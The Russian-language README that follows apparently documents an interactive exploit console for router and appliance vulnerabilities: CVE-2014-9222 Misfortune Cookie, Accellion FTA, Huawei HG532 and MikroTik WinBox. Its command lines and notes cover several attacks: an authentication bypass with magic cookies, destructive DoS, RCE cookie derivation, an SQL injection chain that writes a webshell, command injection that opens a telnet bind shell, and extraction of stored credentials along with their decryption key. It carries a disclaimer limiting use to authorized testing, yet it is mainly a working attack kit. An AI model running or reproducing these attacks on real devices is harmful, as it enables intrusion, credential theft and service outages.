
Интерактивный набор PoC для CVE-2014-9222 (Misfortune Cookie) и связанных с ним эксплойтов для роутеров, включающий модули обнаружения, обхода аутентификации, DoS и RCE, а также режим сканирования на наличие множества уязвимостей.
Переполнение стека в обработке HTTP-куки AllegroSoft RomPager (все версии
< 4.34). Один неаутентифицированный запрос с подделанным заголовком Cookie:
повреждает память. Эффекты: обход аутентификации администратора, DoS/перезагрузка
и (при наличии специфичных для прошивки смещений) удалённое выполнение кода.
Используйте только против оборудования, которым вы владеете или на тестирование которого у вас есть явное разрешение.
python3 main.py # затем задайте цель через [1]
python3 main.py http://192.168.1.1
[1] Задать / сменить цель
[2] Снять отпечаток цели
[3] Обнаружить уязвимость (безопасно, без разрушений)
[4] Обход аутентификации (магическая кука)
[5] DoS / обрушить устройство (РАЗРУШИТЕЛЬНО)
[6] Помощник RCE — вывести куку из адресов прошивки
[7] Поиск по таблице моделей / кук
[8] Сканирование на все уязвимости (проба)
[A] Цепочка Accellion FTA (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
Каждое действие сначала выводит, что оно будет делать; для DoS требуется ввести
YES. Отпечаток конкретной модели (realm) автоматически определяется из
заголовка WWW-Authenticate и сопоставляется с таблицей кук.
[8] проверяет хост на все четыре семейства уязвимостей с помощью
неразрушающих проверок и выводит, какие из них доступны / вероятно уязвимы:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
Затем запустите соответствующий пункт меню ([3]/[4]/[A]/[B]/[C]),
чтобы эксплуатировать подтверждённую уязвимость.
Наряду с Misfortune Cookie консоль включает PoC для трёх других распространённых уязвимостей встраиваемых устройств / устройств класса appliance:
[A] Accellion FTA (accellion_fta.py) — воспроизводит цепочку UNC2546,
описанную Mandiant: восстановить секрет w1 через SQL-инъекцию с помощью
подделанного заголовка Host (/courier/oauth.api), затем запустить admin.pl
для записи eval-вебшелла и проверить его. 27103 (SSRF) / 27104 (выполнение
команд после аутентификации) отмечены, но по умолчанию не задействуются.[B] Huawei HG532 (huawei_hg532.py) — SOAP POST на
/ctrlt/DeviceUpgrade_1 с $(<cmd>) в NewStatusURL, HTTP Digest auth
dslf-config:admin; команда по умолчанию открывает telnet bind-шелл на 9999.[C] MikroTik WinBox () — чтение файлов через
directory-traversal по протоколу WinBox; по умолчанию читает
и расшифровывает сохранённые учётные данные
( XOR).Все дополнительные PoC требуют явного подтверждения в консоли.
python3 detect.py http://192.168.1.1 # безопасная проверка
python3 auth_bypass.py http://192.168.1.1 # модель определяется автоматически
python3 auth_bypass.py http://192.168.1.1 --restore # повторно включить аутентификацию
python3 auth_bypass.py http://192.168.1.1 --all # перебрать все известные куки
python3 auth_bypass.py http://192.168.1.1 --brute # полный перебор (ОЧЕНЬ медленно, вызывает краши)
python3 dos.py http://192.168.1.1 # краш / перезагрузка (РАЗРУШИТЕЛЬНО)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # адреса -> (num, pad)
Cookie: C<evilnum>=<pad "B" байт><payload>;
evilnum и pad специфичны для прошивки. evilnum индексирует массив кук
RomPager размером 0x28 байт (C_Array + evilnum*0x28 + pad = перезаписанный
адрес). Таблица по моделям, объединённая из exploitdb 39739 и модуля Metasploit
allegro_rompager_auth_bypass, находится в common.py.
Нужен один точный образ прошивки. Шаги (см. rce/README.md): извлечь rootfs
с помощью binwalk, реверснуть парсер кук в Ghidra, чтобы найти буфер ->
смещение сохранённого $ra, вывести (num, pad) с помощью derive_cookie.py,
проверить MIPS-шеллкод на эмулируемом в QEMU образе перед воздействием на живую
цель.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
и auxiliary/admin/http/allegro_rompager_auth_bypass| Уязвимость | CVE | Что делает проба |
|---|
| RomPager | CVE-2014-9222 | HTTP-баннер + версия против 4.34 |
| Huawei HG532 | CVE-2017-17215 | SOAP-эндпоинт поднят + Digest realm |
| MikroTik WinBox | CVE-2018-14847 | живое чтение файлов WinBox (слив учёток) |
| Accellion FTA | CVE-2021-27101/104 | отпечаток Accellion/oauth.api |
| Меню | CVE | Цель | Порт |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| файл | назначение |
|---|
main.py | интерактивная консоль |
ui.py | баннер + UI-хелперы (header/info/warn/err/success/prompt/confirm) |
common.py | снятие отпечатков, построитель магической куки, таблица (num, pad) по моделям |
detect.py | неразрушающая проверка уязвимости (версия + canary-кука) |
scan.py | проверка цели на все четыре семейства уязвимостей (вариант 8) |
auth_bypass.py | обход аутентификации магической кукой с автоопределением realm |
dos.py | переполнение стека кукой увеличенного размера -> перезагрузка через watchdog |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> цепочка вебшелла |
huawei_hg532.py | CVE-2017-17215 SOAP-инъекция команд |
mikrotik_winbox.py | CVE-2018-14847 чтение файлов WinBox / слив учётных данных |
rce/derive_cookie.py | превращает C_Array + целевой адрес в (num, pad) |
rce/README.md | полная методология RCE + математика эксплойта |
rce/references/ | слайды 31C3, технический отчёт NCC, разборы writeup, таблицы раскладки |